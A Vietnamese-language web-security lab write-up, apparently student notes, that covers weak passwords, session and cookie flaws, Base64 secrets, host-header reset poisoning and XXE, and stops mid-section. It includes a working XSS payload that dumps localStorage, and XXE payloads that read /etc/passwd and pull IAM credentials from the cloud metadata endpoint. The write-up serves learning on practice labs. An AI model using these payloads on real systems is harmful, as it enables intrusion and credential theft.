![image](https://hackmd.io/_uploads/S1EO3Dw4R.png) Hình 3.1. Kết quả đã bruteforce ra mật khẩu - Tiếp tục thử với level Medium và High thì đều không được vì mỗi lần gửi request đến trang web sẽ random ra một mã String mới ![image](https://hackmd.io/_uploads/S1QuRwPNA.png) - Đoạn code ở Medium và High đã khắc phục được đoạn code ở phần `Broken Auth. - CAPTCHA Bypassing` vì đã random ngay trong trang chứa form login --- <br> **<span style="; font-size: 25px">Broken Auth. - Weak Passwords</span>** --- <br> **1. Chức năng của ứng dụng** - Trang web cho chúng một form để có thể đăng nhập (Hình 1.1) ![image](https://hackmd.io/_uploads/HJTomdDER.png) Hình 1.1. Form đăng nhập - Tiếp tục mở code lên xem thấy rằng đoạn code xử lí giá trị người dùng nhập vào trong file `ba_weak_pwd.php` (Hình 1.3) ![image](https://hackmd.io/_uploads/r1Q-VOwE0.png) Hình 1.3. Đoạn code xử lí chính form đăng nhập ở level `Low` trong file `ba_weak_pwd.php` - Tuy nhiên username và password được lưu trong source code với giá trị rất là dễ đoan tùy theo level ![image](https://hackmd.io/_uploads/SyHLVOwV0.png) Hình 1.4. Usernaem và Password được đặt **2. Đặt giả thuyết** - Giá trị mật khẩu được đặt ở trong phần code khá là dễ đoán mà trang web lại không giới hạn số lần thử cũng như thiếu mã xác nhận riêng cho mỗi lần đăng nhập. Vậy nên có thể tấn công bruteforce **3. Chứng minh giả thuyết** - Các mật khẩu đều nằm ở trong list mật khẩu bị lộ và dễ tìm thấy trên google ví dụ mình tải bất kì một tệp list passwword trên google thì 3 mật khẩu trong 3 cấp độ đều xuất hiện ở đây (Hình 3.1) ![image](https://hackmd.io/_uploads/HyNrwdP4C.png) --- <br> **<span style="; font-size: 25px">Session Mgmt. - Administrative Portals</span>** --- <br> **1. Chức năng của ứng dụng** - Trang web này có vẻ như chỉ cho người dùng admin mới có quyền truy cập (Hình 1.1) ![image](https://hackmd.io/_uploads/B1xL-KDNA.png) Hình 1.1. Page đã bị khóa - Tiếp tục mở code lên xem thấy rằng đoạn code quản lí cách quản lí phân quyền trong file `smgmt_admin_portal.php` với cách quản lí level Low (Hình 1.3), Level Medium (Hình 1.4), level High (Hình 1.5) ![image](https://hackmd.io/_uploads/BkqUoYD4A.png) Hình 1.3. Đoạn code xử lí chính form đăng nhập ở level `Low` trong file `ba_weak_pwd.php` ![image](https://hackmd.io/_uploads/ryqBH9PNA.png) Hình 1.4. Đoạn code xử lí chính form đăng nhập ở level `Medium` trong file `ba_weak_pwd.php` ![image](https://hackmd.io/_uploads/HkckO5PNC.png) Hình 1.5. Đoạn code xử lí chính form đăng nhập ở level `Medium` trong file `ba_weak_pwd.php` **2. Đặt giả thuyết** - Đầu tiên là level `Low` (Hình 1.3) có thể thấy điều kiện check đó là lấy giá trị của biến admin trong yêu cầu `GET` đi so sánh với 1. Vậy nếu ra sao nếu chúng ta đổi giá trị của tham số admin trên URL từ 0 thành 1 ? - Tiếp theo là level `Medium` (Hình 1.4) có thể thấy điều kiện check là lấy giá trị của tham số admin trong cookie để xác thực người dùng. Vẫn giống như level trước sẽ ra sao nếu chúng ta có thể đổi giá trị này trong cookie từ 0 thành 1 - Cuối cùng là level `High` (Hình 1.5) dựa trên SESSION thì ở trong bài này em thấy nó không được gán giá trị nào nên sẽ không thay đổi được giá trị này **3. Chứng minh giả thuyết** - Đầu tiền ở level Low trên URL đang được set biến admin bằng 0 (Hình 3.1), đổi lại thành 1 thì thấy tính dòng message đã hiện unlock Hình 3.1 ![image](https://hackmd.io/_uploads/rkdgccv4C.png) Hình 3.1. Tham số admin trên URL đăng để là 0 ![image](https://hackmd.io/_uploads/S19X35wNA.png) Hình 3.2. Khi chỉnh tham số thnàh 1 đã được unlock admin - ở level Medium thì có thể thấy trong Cookie tham số admin đang được là 0 (Hình 3.3), chỉnh lại giá trị này về 1 và save thì đã thấy trang web được unlock admin ![image](https://hackmd.io/_uploads/H1YWacPEC.png) Hình 3.3. Cookie được set mặc định là 0 ![image](https://hackmd.io/_uploads/ByNEp5PNR.png) Hình 3.4. Khi chỉnh giá trị này là 1 thì đã truy cập được vào unlock - Cuối cùng Level `High` thì sẽ tùy vào giá trị developer gán nên khoogn can thiệp dược vào đây --- <br> **<span style="; font-size: 25px">Session Mgmt. - Cookies (HTTPOnly)</span>** --- <br> **1. Chức năng của ứng dụng** - Trang web có chức đọc cookie (Hình 1.1) ![image](https://hackmd.io/_uploads/HyMb8jDNC.png) Hình 1.1. Form đăng nhập - Tiếp tục mở code lên xem thấy rằng đoạn code xử lí cách chương trình hoạt động chính trong file `smgmt_cookies_httponly.php` (Hình 1.2) ![image](https://hackmd.io/_uploads/rJVYviPEC.png) Hình 1.2. Đoạn code thể cách cookie của chương trình hoạt động - Ở đoạn code trong hình 1.2 chương trình sử dụng hàm mặc định của PHP là `setcookie` với một số tham số quan trọng như sau ``` bool setcookie( string $name, string $value = "", int $expires_or_options = 0, string $path = "", string $domain = "", bool $secure = false, bool $httponly = false ) ``` - Chương trình sử dụng mã javascript để gọi đến các cookie này sau đó hiện thị (Hình 1.3) ![image](https://hackmd.io/_uploads/rk_-tiPVC.png) Hình 1.3. Chương trình gọi mã javascript **2. Đặt giả thuyết** - Có lẽ phần này cho chúng ta biết httponly để làm gì. - Ở level Low trường `httponly` đang để là `Low` vì vậy chương trình vẫn có thể dùng javascrpit lấy được giá trị cookie`top_security`, không an toàn nếu chương trình bị XSS - Level Medium trường `httponly` đã được bật lên với trạng thái là `True` nên trang web không thể truy cập cookie `top_security` bằng javascript được nữa - Cuối cùng với level `High` thì còn an toàn hơn nữa khi cookie được set thời gian ngắn hơn **3. Chứng minh giả thuyết** - level Low, Bấm vào `here` vẫn hiện lên cookie `top_security` bình thường (Hình 3.1) ![image](https://hackmd.io/_uploads/r1aEhiDNC.png) Hình 3.1. Cookie `top_security` xuất hiện - level Medium và và High thì điều này không còn nữa (Hình 3.2) ![image](https://hackmd.io/_uploads/BJdH3iv4R.png) Hình 3.2. Cookie `top_security` đã không xuất hiện vì bị chặn trường `httponly` chuyển thành `true` --- <br> **<span style="; font-size: 25px">Session Mgmt. - Cookies (Secure)</span>** --- <br> **1. Chức năng của ứng dụng** - Ở phần này giới thiệu đến trường `secure` trong hàm `setcookie` có tác dụng xác định xem cookie chỉ được truyền qua các kết nối HTTPS hay không. Để thông tin có thể được bảo vệ tốt. - Tuy nhiên lab đang chạy ở localhost không có HTTPS nên em sẽ không trình bày được lab ở tính năng này 2. Trình bày kĩ hơn về trường Secure này - Ý nghĩa và tác dụng của trường secure - Khi secure được đặt thành true: - Cookie chỉ được gửi tới máy chủ khi yêu cầu được thực hiện qua kết nối HTTPS (SSL/TLS). - Điều này giúp bảo vệ cookie khỏi bị nghe lén bởi các bên thứ ba trên các kết nối không an toàn, vì cookie sẽ không được truyền qua các kết nối HTTP không mã hóa. - Thường được sử dụng cho các cookie nhạy cảm như thông tin đăng nhập, mã phiên, hoặc các dữ liệu quan trọng khác. - Khi secure được đặt thành false (hoặc không được đặt): - Cookie sẽ được gửi tới máy chủ qua cả kết nối HTTP và HTTPS. - Điều này không an toàn cho các cookie chứa thông tin nhạy cảm, vì dữ liệu có thể bị nghe lén trên các kết nối không an toàn. --- <br> **<span style="; font-size: 25px">Session Mgmt. - Session ID in URL</span>** --- <br> **1. Chức năng của ứng dụng** - Trang web cũng không có gì xuất hiện quá nhiều ngoài ngoài dòng chữ `Session IDs không bao giờ được hiển thị trong URL!` (Hình 1.1) và thấy rằng trên URL xuất hiện PHPSESSID (Hình 1.2). ![image](https://hackmd.io/_uploads/ry4iAsvNC.png) Hình 1.1. Giao diện khi vừa vào lab ![image](https://hackmd.io/_uploads/SkSC1hvEC.png) Hình 1.2. SESSID xuất hiện trên URL **2. Đặt giả thuyết** - Có lẽ người dùng có thể truy cập vào tài khoản của người khác chỉ cần thông qua URL **3. Chứng minh giả thuyết** - Copy link chứa SESSID bên người dùng bee ![image](https://hackmd.io/_uploads/B1le42wVC.png) - Tôi đăng nhập một tài khoản khác với tên là Phuc sau khi đăng nhập xong tiến hành lấy ID hiện trên URL để gán vào trong biến SESSID của người dùng Phuc thì thấy rằng người dùng Phuc đã chuyển thành người dùng bee ![image](https://hackmd.io/_uploads/BkSJEnPEA.png) --- **<span style="; font-size: 25px">Session Mgmt. - Strong Sessions</span>** --- **1. Chức năng của ứng dụng** - Chương trình có giao diện khá đơn giản (Hình 1.1) có 2 nút để bấm, đầu tiên là nút `cookie` có tác dụng hiện thị bảng chứa giá trị cookie, nút thứ 2 là nút `here` có thể bấm để chuyển sang một trang mới có tính năng an toàn hơn (Hình 1.2) ![image](https://hackmd.io/_uploads/BknwcEuNR.png) Hình 1.1. Giao diện của level Low và Medium ![image](https://hackmd.io/_uploads/Hytpi4dNA.png) Hình 1.2. Giao diện của level High có thêm dòng chữ `Trang này phải được truy cập qua kênh SSL để hoạt động đầy đủ!` ![image](https://hackmd.io/_uploads/HyvMsEO4A.png) Hình 1.2. Giao diện trang web thứ 2 của level Low ![image](https://hackmd.io/_uploads/rJ_12N_4R.png) Hình 1.3. Giao diện trang web thứ 2 của level Medium ở giao diện này thì có vẻ nó muốn nói rằng session đã được bảo vệ tốt hơn tuy nhiên không được bảo vệ khi không phải SSL ![image](https://hackmd.io/_uploads/Sk2lnNuVC.png) Hình 1.4. Giao diện trang web thứ 2 của level High có vẻ như nó đã xác nhận rằng trang web này là an toàn nhất - Tiếp tục mở code lên xem thấy rằng đoạn code xử lí cách chương trình hoạt động chính trong file `smgmt_strong_sessions.php` (Hình 1.5, Hình 1.6 và Hình 1.7) - Vẫn giống cách lần trước thì chương trình vẫn dựa trên biến `security_level` ở cookie để chia level ![image](https://hackmd.io/_uploads/rJBywuuNC.png) Hình 1.5. Thể hiện được rằng khi ở level Low các cookie như `top_security_nossl` và `top_security_ssl` sẽ được xóa ![image](https://hackmd.io/_uploads/SJipvu_E0.png) Hình 1.6. Ở level Medium xóa cookie `top_security_ssl` tuy nhiên sẽ tạo ra mã random và đưa vào biến $_SESSION["top_security_nossl"] để setcookie an toàn hơn với cả biến httponly được bậy thành true nhưng lại chỉ chỉ tạo ra nossl ![image](https://hackmd.io/_uploads/S16FO__EA.png) Hình 1.7.Ở level High thì an toàn hơn khi tạo ra cả ở trang web có ssl - Và đoạn code quan trọng cuối cùng quan trọng là trong file `top_security.php` thể hiện những gì chúng ta đã setting ở file trước như cookie hay các biến session ![image](https://hackmd.io/_uploads/SkXJVYuNR.png) Hình 1.8. Đoạn code trong file `top_security.php` bên trang web thứ 2 khi click vào nút `here` **2. Đặt giả thuyết** - Có lẽ ở bài này họ cũng chỉ muốn chúng ta biết được các yêu tố quan trọng để bảo mật session một cách tốt nhất là như nào. Với level Medium và High chỉ khác nhau là cookie sẽ chỉ được truyền qua nếu thông qua SSL --- **III. Sensitive Data Exposure** === Base64 Encoding (Secret) --- **1. Chức năng của ứng dụng** - Ứng dụng chỉ hiện thị dòng rằng biến bí mật nằm trong cookie đã dược mã hóa (Hình 1.1) ![image](https://hackmd.io/_uploads/r1hkjFOE0.png) Hình 1.1.Trang chính của ứng dụng - Khi mở cookie lên thì thấy răng có biến `secret` trong cookie có vẻ đã được mã hóa (Hình 1.2) ![image](https://hackmd.io/_uploads/S1fVnt_NA.png) Hình 1.2 - Tiếp tục mở code của phần này lên trong file `insecure_crypt_storage_3.php` có thể thấy được cách mà chương tình mã hóa biến secret này (Hình 1.3) ![image](https://hackmd.io/_uploads/SyhcntO4A.png) Hình 1.3. Với level Low chương trình mã hóa biến secret chỉ là base64 còn level Medium và High chương trình đã mã hóa sha1 bảo mật hơn **2. Đặt giả thuyết** - Mã hóa base64 khá yếu liệu chúng ta có thể decrypt nó một cách dễ dàng ? - Mã sha1 là một hàm băm một chiều nên không thể giải mã được tuy nhiên hiện này nó không hay được dùng vì đã từng xảy ra 2 tệp có cùng hàm băm tuy nhiên điều này là rất khó để có thể xảy ra nên nó vẫn có thể được coi tạm thời là an toàn với các cuộc tấn công **3. Chứng minh giả thuyết** - Chúng ta có thể dùng ngay trong Burp tự động decypt cũng có thể tìm ra được giá trị secret này ở level `Low` ![image](https://hackmd.io/_uploads/Hk_Qf9dV0.png) - Phần `%2F` ở trên đã bị mã hóa URL encoding trong cookie để có thể truyền an toàn ở HTTP còn đúng của nó sẽ là dấu `?` --- Clear Text HTTP (Credentials) --- **1. Chức năng của ứng dụng** - Ứng dụng chỉ hiện thị form đăng nhập(Hình 1.1) ![image](https://hackmd.io/_uploads/rJZAcpd40.png) Hình 1.1. Form đăng nhập - Thấy rằng file chưa đoạn code của chương trình nằm ở `insuff_transp_layer_protect_1.php` (Hình 1.2, hình 1.3 và hình 1.4) ![image](https://hackmd.io/_uploads/S1b9J0uE0.png) Hình 1.2. Đoạn code chia level để xử lí biến `$url` ![image](https://hackmd.io/_uploads/SyY8rAdER.png) Hình 1.3. Các giá trị được nhập sẽ được đưa đến $url **2. Đặt giả thuyết** - Ở level Low biến URL không phân biệt là loại giao thức nhận dữ liệu là gì - Còn level Medium đã xác thực rằng dữ liệu sẽ truyền qua https và được mã hóa dữ liệu khi gửi **3. Chứng minh giả thuyết** - Với level Low khi truy cập ở http - Trước khi gửi dữ liệu (Hình 3.1) ![image](https://hackmd.io/_uploads/HyOb9hK40.png) Hình 3.1. Trang đăng nhập khi dùng http - Sau khi bấm login để gửi dữ liệu đăng nhập tới server thì kết quả là vẫn dùng http (Hình 3.2) ![image](https://hackmd.io/_uploads/Syae32YNC.png) Hình 3.2. Trang phép cho phép dùng http để chuyển dữ liệu - Tuy nhiên với Level Medium khi gửi dữ liệu trang web sẽ bắt chúng ta dùng https. - Khi gửi dữ liệu ở medium vì chúng ta đang dùng http không phải https nên khi gửi trang web sẽ logout người dùng vì lúc này đang dùng port của https khác với port http ban đầu (Hình 3.3) ![image](https://hackmd.io/_uploads/rkwCchFVA.png) Hình 3.3. Trang web không cho hép dùng http để chuyển dữ liệu nên trang web tự động chuyển sang https và bị logout khỏi tài khoản chính bên ngoài Host Header Attack (Reset Poisoning) --- **1. Chức năng của ứng dụng** - Ứng dụng cho phép nhập vào email của tài khoản mà chúng ta muốn reset mật khẩu(Hình 1.1) ![image](https://hackmd.io/_uploads/Hy2Yo0brA.png) Hình 1.1. Form nhập email - Khi nhập email vào xong thì trang web sẽ thực hiện gửi đường link reset mã secret vào email của mọi người (Hình 1.2) ![image](https://hackmd.io/_uploads/rJ2_wyfH0.png) Hình 1.2. Đường link reset secret được gửi trong email - Thấy rằng file chứa đoạn code của chương trình nằm ở `hostheader_2.php` (Hình 1.2) ![image](https://hackmd.io/_uploads/ryX01eMSR.png) Hình 1.2. Đoạn code chia level để xử lí biến `$url` - Ở hình 1.2 biến `$server` ở level Low được lấy từ biến `$_SERVER["HTTP_HOST"]` **2. Đặt giả thuyết** - Có thể thấy ở level Low ứng dụng không xác thực là web site nào gửi request tới email của người dùng - Nếu chúng ta tận dụng được điều trên để khi người dùng vào link với server của chúng ta thì có phải trong log của sever chúng ta sẽ chứa cả email người dùng và reset_code trong đó ? - Ở level Medium và High biến server đã được gán chặt nên không thể can thiệp vào giá trị khi gửi đến email người dùng **3. Chứng minh giả thuyết** - Đầu tiên, người dùng mà em muốn đổi secret của họ có email là `nphuc141003@gmail.com` - Vào trong Burp bật ở phần Intercep chuyển thành on để chặn gói tin trước khi nó gửi tới email cho người dùng - Nhập email của người khác vào phần reset secret và nhấn reset (Hình 3.1) ![image](https://hackmd.io/_uploads/r1HXGzzBA.png) Hình 3.1. Nhập email vào trong phần reset secret - Sau khi bắt được gói tin bằng `Intercept is On` thì chuyển sang `Repeater` để có thể chỉnh sửa gói tin - Đổi phần `Header Host` thành Host của sever của mình để khi gói tin được gửi tới email của người dùng biến `$server` sẽ là điạ chỉ của server của mình (Hình 3.2), ở trong phần này em dùng `interactsh` để tạo server riêng mình ![image](https://hackmd.io/_uploads/HJtPEGzSC.png) Hình 3.2. Request đã được chỉnh sửa Header Host - Khi Request được gửi về mail của họ sẽ chứa mã reset_code (Hình 3.3) ![image](https://hackmd.io/_uploads/SyAIIGGH0.png) Hình 3.3. Kết quả ở email khi thực hiện request reset_code gửi tới email - Khi người dùng click vào link chúng ta đã có thể xem được mã `reset_code` của người dùng khác để có thể đổi mã secret của họ theo ý của mình (Hình 3.4) ![image](https://hackmd.io/_uploads/Hyoi0ZGSR.png) Hình 3.4. Mã reset_code đi theo URL được gửi về server của mình - Copy URL trong hình 3.4 và thêm tên miền gốc của trang web (Hình 3.5) ![image](https://hackmd.io/_uploads/HJerOfzBR.png) Hình 3.5. URL đầy đủ để truy cập vào trang reset mật khẩu của phuc - Đã vào được trang đổi secret của người dùng với email `nphuc141003@gmail.com` (Hình 3.6) ![image](https://hackmd.io/_uploads/r1kcKGGHC.png) Hình 3.6. Trang đổi secret của của email `nphuc141003@gmail.com` - Đổi thành công được secret theo ý của mình (Hình 3.7) ![image](https://hackmd.io/_uploads/rkWB9fMSC.png) Hình 3.7. Đổi thành công secret HTML5 Web Storage (Secret) --- **1. Chức năng của ứng dụng** - Ứng dụng thông báo rằng tên tài khoản và secret được lưu trữ ở HTML5 storage (Hình 1.1) ![image](https://hackmd.io/_uploads/rJ5wmXNB0.png) Hình 1.1. Trang chính của ứng dụng web - Ứng có gợi ý rằng hãy sử dụng XXS để đọc trộm mã secret này - Vì biết nó lưu ở storage nên là nó sẽ được lưu ở trên trình duyệt và có thể đọc bằng mã javascript (Hình 1.2) ![image](https://hackmd.io/_uploads/Sk5QPmNrA.png) Hình 1.2. Secret được lưu trong Local Storage trên trình duyệt **2. Đặt giả thuyết** - Liệu có phải trang nào trên trình duyệt thuộc ứng dụng web này bị XSS thì chúng ta có thể đọc được nội dung không ? **3. Chứng minh giả thuyết** - Tìm một trang bị XSS, ở đây mình dùng một trang bị XSS Reflected - Khi nhập tên vào sẽ được ứng dụng hiên thị lại ngay sau đó nên nó có thể bị XSS ![image](https://hackmd.io/_uploads/HyFyF7NSC.png) Hình 3.1. Ứng dụng bị XSS - Payload để truy xuất dữ liệu từ storage đó là ```javascript= <script> for (var key in localStorage) { alert(key + " : " + localStorage[key] ); } </script> ``` - Kết quả khi nhập paylaod trên vào là nó sẽ hiển thị tất cả các giá trị có trong storage với dạng `key : value` (Hình 3.2 và Hình 3.3) ![image](https://hackmd.io/_uploads/B1NDsmEBA.png) Hình 3.2. Giá trị secret được hiển thị ![image](https://hackmd.io/_uploads/BJjOsXVHC.png) Hình 3.3. Giá trị login được hiển thị Text Files (Accounts) --- **1. Chức năng của ứng dụng** - Ứng dụng cho pháp chúng ta nhập account vào và xuất ra file txt (Hình 1.1) ![image](https://hackmd.io/_uploads/ByfCBVNBA.png) Hình 1.1. Trang chính của ứng dụng web - Khi nhấn vào nút dowload sẽ sinh ra đường link file `.txt` chứa tài khoản và mật của người dùng (Hình 1.2 và hình 1.3 và hình 1.4) ![image](https://hackmd.io/_uploads/S1U28V4SR.png) Hình 1.2 Level Low ![image](https://hackmd.io/_uploads/S1Xgq4NBC.png) Hình 1.3. Nội dung khi ở level Medium thì mật khẩu đã được mã hóa ![image](https://hackmd.io/_uploads/BkwX5ENSC.png) Hình 1.4. Nội dung khi ở level High không những được mã hóa an toàn hơn còn có thêm mã xác thực **IV. XML External Entities (XXE)** === XML External Entity Attacks (XXE) bWAPP --- **1. Chức năng của ứng dụng** - Ứng dụng có vẻ như cho phép reset secret của bạn (Hình 1.1) ![image](https://hackmd.io/_uploads/H1oQdTKVR.png) Hình 1.1.Trang chính của ứng dụng ở file `xxe-1.php` - Khi click vào nút `Any bug?` (Hình 1.1) có thể thấy có một request POST lại được gửi từ file `xxe-2.php` trong Burpsuite sẽ thấy điều này (Hình 1.2) ![image](https://hackmd.io/_uploads/S1otv5qV0.png) Hình 1.2. Trang `xxe-2.php` có Referer từ trang `xxe-1.php` với chức năng là reset `secret` và có `Content-type` là `text/xml` - Có thể thấy từ những điều trên trang web dùng xml để gửi request từ trang xxe-2.php đến server để reset secret - Tiếp tục mở code lên để xem chi tiết điều này thì thấy rằng trong `xxe-1.php` dùng xml để mở `xxe-2.php` (Hình 1.3) ![image](https://hackmd.io/_uploads/rJPYn9c4A.png) Hình 1.3. Đoạn code `html` sử dụng `xml` trong `xxe-1.php` - Ở đoạn code trên khi người dùng click vào nút `Any bug?` thì hàm JavaScript `ResetSecret()` được thực thi và thiết lập một yêu cầu POST tới `xxe-2.php` sau đó gửi một tải trọng XML với phần tử gốc `<reset>` chứa các phần tử con `<login>` và `<secret>`. - Ở bên file `xxe-2.php` sẽ xử lí yêu cầu từ `xxe-1.php` (Hình 1.4 và hình 1.5) ![image](https://hackmd.io/_uploads/Hkg7Pjq4A.png) Hình 1.4. File `xxe-2.php` xử lí dữ liệu từ `xxe-1.php` chuyển sang ở level Low ![image](https://hackmd.io/_uploads/HJHOuicV0.png) Hình 1.5. File `xxe-2.php` xử lí dữ liệu từ `xxe-1.php` chuyển sang ở level Medium và High **2. Đặt giả thuyết** - Trang web đang sử dụng xml để thực hiện các requets tới hệ thống lấy dữ liệu, liệu ta có thể chèn các thẻ khác để lấy được những dữ liệu đặc biệt không ? - Có 2 phần tử trong bài này là `login` và `secret` vậy nếu ra sao nếu chúng ta có thể can thiệp vào điều này ? - Có thể thấy chúng ta có thể nhìn thấy request chứa cáu trúc xml trước khi nó được gửi tới server, sẽ ra sao nếu chúng ta thay đổi hẳn cấu trúc này - **3. Chứng minh giả thuyết** - Trong phần lí thuyết em đã nói đến một thuật ngữ `DTD` trong `xml` để định nghĩa cho loại tài liệu sẽ có trong phần thân XXE - Khi tham khảo trên w3shool về ví dụ của loại này thì thấy rằng nó có thể tự định nghĩa để hiển thị ra giá trị mình muốn và cấu trúc để làm điều này trong hình 3.1 ![image](https://hackmd.io/_uploads/HkEzUWoNC.png) Hình 3.1. Cách dùng và định nghĩa một thực thể - Bắt lấy gói tin POST có cấu trúc XML để lấy dữ liệu từ server - Chuyển gói tin đó sang Burp Repeater để có thể chỉnh sửa nó - Thêm thử như ví dụ trên w3shool Exploiting XXE using external entities to retrieve files --- **1. Chức năng của ứng dụng** - Yêu cầu của bài lab này đó là khai thác XXE bằng cách dùng cá thực thể ngoài để truy vấn dữ liệu (Hình 1.1) ![image](https://hackmd.io/_uploads/r1LJ6394R.png) Hình 1.1. Yêu cầu của bài lab - Sau một hồi xem trang web em thấy có 1 tính năng khả đó là `checkStock` khi mà nó có thể truy xuất dữ liệu từ server mà không cần load lại trang web (Hình 1.2) ![image](https://hackmd.io/_uploads/By0c6hqVR.png) Hình 1.2. Tính năng `CheckStock` để hiện thi số lượng mặt hàng còn lại của riêng mỗi sản phẩm - Tuy không load lại nhưng vẫn có request POST được chạy ngầm để truy xuất thông tin về số lượng bằng XML (Hình 1.3) ![image](https://hackmd.io/_uploads/r17NyacER.png) Hình 1.3. BurpSuite đã bắt được gói tin gửi để truy xuất số lượng **2. Đặt giả thuyết** - Trang web đang sử dụng XML để truy xuất dữ liệu vậy chúng ta có thể chèn các thực thể bên ngoài để làm thay đổi cấu trúc này không ? **3. Chứng minh giả thuyết** - Sau khi tham khảo một vài trang thì thấy rằng chúng ta có thể dùng DTD để định nghĩa cho một thực thể mới truy xuất tới dữ liệu trong server. Ví dụ như bên dưới: ``` <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> ``` - Giải thích: - `<!DOCTYPE test [ ... ]>`: định nghĩa DTD cho tài liệu XML. test là tên của root element cho tài liệu XML này. DTD được đặt trong cặp dấu ngoặc vuông [...]. - `<!ENTITY xxe SYSTEM "file:///etc/passwd">` - <!ENTITY ...>: Định nghĩa một thực thể. - xxe: Tên của thực thể - SYSTEM "file:///etc/passwd": Cho biết thực thể này là một external entity. SYSTEM chỉ định rằng thực thể này được xác định bởi một URI. Trong trường hợp này, URI là file:///etc/passwd, trỏ đến tệp /etc/passwd trên hệ thống tập tin. - Để có thể sự dụng thực thể đã được định nghĩa ở trên để lấy dữ liệu từ server. Trong phần thân của tài liệu XML, thực thể xxe được tham chiếu bằng cách sử dụng `&xxe;` (Hình 3.1). ![image](https://hackmd.io/_uploads/SJDVgzjN0.png) Hình 3.1. Bắt gói tin chứa xml gửi tới server và chỉnh sửa chúng như ở trên để hiện thị ra tệp `/etc/passwd` của server - Payload hoàn chỉnh: ``` <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck> ``` - Hình 3.1 đã đọc được tệp `/etc/passwd` và đã solve bài lab ![image](https://hackmd.io/_uploads/SyUPzGoVR.png) Lab: Exploiting XXE to perform SSRF attacks --- **1. Chức năng của ứng dụng** - Yêu cầu của bài lab này đó là khai thác lỗ hổng XXE để có thể SSRF với đường link truy cập `http://169.254.169.254/` (Hình 1.1) ![image](https://hackmd.io/_uploads/Byq3zfjER.png) Hình 1.1. Yêu cầu của bài lab - Vẫn y như bài lab trước tính năng `checkStock` sẽ sử dụng xml để lấy dữ liệu từ server (Hình 1.2) ![image](https://hackmd.io/_uploads/By0c6hqVR.png) Hình 1.2. Tính năng `CheckStock` để hiện thi số lượng mặt hàng còn lại của riêng mỗi sản phẩm **2. Đặt giả thuyết** - Liệu chúng ta có thể lừa server để chính server gửi request tới đường link nội bộ nằm trong server để truy xuất những dữ liệu ẩn mà chỉ người dùng nội bộ mới có thể truy cập được không ? **3. Chứng minh giả thuyết** - Ở phần đề bài bài lab chúng ta đã biết đường link ẩn `http://169.254.169.254/` mà chỉ người dùng nội bộ mới có thể truy cập mà chính server là người dùng nội đó - Nên ở phần lab này em không đọc 1 tệp cụ thể mà sẽ đọc các tệp ở trong đường link `http://169.254.169.254/` - Payload hoàn chỉnh: ``` <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]> <stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck> ``` - Bắt gói tin gửi yêu cầu xử xml sau đó chỉnh sửa lại phần body và gửi để lấy tên các tệp trong link `http://169.254.169.254/` (Hình 3.1) ![image](https://hackmd.io/_uploads/BykoofsEA.png) Hình 3.1 Tận dụng SSRF để có thể đọc file trong link `http://169.254.169.254/` thì thấy rằng chỉ có file `latest` - Thấy rằng trong địa chỉ `http://169.254.169.254/` xuất hiện directory ẩn là latest - Có lẽ chúng ta cần truy cập tiếp để xem trong directory này còn thư mục hay file ẩn nào khác không thì thấy rằng lại xuất hiện một thư mục nữa (Hình 3.2) ![image](https://hackmd.io/_uploads/SyHlTfi4C.png) Hình 3.2 Tìm ra thư mục ẩn meta-data - Tiếp tục lặp lại quá tình này và đã ra được đường dẫn đầy đủ tới file ... là `http://169.254.169.254/latest/meta-data/iam/security-credentials/admin` (Hình 3.3) ![image](https://hackmd.io/_uploads/rJW5aMsVC.png) Hình 3.3. Lấy được khóa truy cập bí mật IAM của máy chủ từ EC2 metadata endpoint. - Cuối cùng đã solve được bài lab khi thấy được `SecretAccessKey` trong Response Hình 3.3 ![image](https://hackmd.io/_uploads/HyV4Rzo40.png) Lab: Blind XXE with out-of-band interaction --- **1. Chức năng của ứng dụng** - Yêu cầu của bài lab này đó là khai thác XXE bằng cách dùng các thực thể ngoài để truy vấn dữ liệu tuy nhiên ở bài lab lại không thể nhìn thấy kết quả được hiển thị trực tiếp (Hình 1.1) ![image](https://hackmd.io/_uploads/HyWwmmjN0.png) Hình 1.1. Yêu cầu của bài lab - Sau một hồi xem trang web em thấy có 1 tính năng khả đó là `checkStock` khi mà nó có thể truy xuất dữ liệu từ server mà không cần load lại trang web (Hình 1.2) ![image](https://hackmd.io/_uploads/By0c6hqVR.png) Hình 1.2. Tính năng `CheckStock` để hiện thi số lượng mặt hàng còn lại của riêng mỗi sản phẩm - Tuy không load lại nhưng vẫn có request POST được chạy ngầm để truy xuất thông tin về số lượng bằng XML (Hình 1.3) ![image](https://hackmd.io/_uploads/BywjXQiNR.png) Hình 1.3. BurpSuite đã bắt được gói tin gửi để truy xuất số lượng **2. Đặt giả thuyết** - Trang có sử dụng XML để truy xuất dữ liệu từ server tuy nhiên lại không thể nhìn thấy kết quả nếu truy xuất từ bên ngoài vậy có cách nào để không dữ liệu tuy không hiển thị trực tiếp trên web site mà sẽ hiển thị ra server bên ngoài được không ? **3. Chứng minh giả thuyết** - Đầu tiên mình vẫn test thử đúng là nó blind như đề bài lab nói không thì đúng là không nhận về gì cả (Hình 3.1) ![image](https://hackmd.io/_uploads/H1aHLmoV0.png) Hình 3.1. Khi truy xuất dữ liệu trong lab blind thì không thấy kết quả - Thử đưa đường link một server bên ngoài vào xem rằng server có gửi được gói tin ra bên ngoài không. - Ở trong bài này em dùng Collaborator để hứng request DNS xem có được không ? - Sau khi thử với payload `<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://link/"> ]>` (Hình 3.2) thì thấy rằng server của trang web đã gửi truy vấn DNS tới đường dẫn của Collaborator của mình (Hình 3.3) ![image](https://hackmd.io/_uploads/HJ2TY7i4A.png) Hình 3.2. Chỉnh sửa gói tin chứa đường dẫn của ![image](https://hackmd.io/_uploads/By01iXjNA.png) Hình 3.3. Các Request được gửi từ server lab tới server Collaborator - Tuy nhiên ở bài lab này chỉ chứng minh rằng server có thể gửi request ra bên ngoài nên đến đây đã solve được bài lab bài lab sau em sẽ nói rõ hơn về cách đọc dữ liệu trên server rồi gửi ra ngoài ![image](https://hackmd.io/_uploads/r1XWi7oV0.png) Lab: Exploiting blind XXE to exfiltrate data using a malicious external DTD --- **1. Chức năng của ứng dụng** - Yêu cầu của bài lab này đó là khai thác XXE bằng cách dùng các thực thể ngoài để 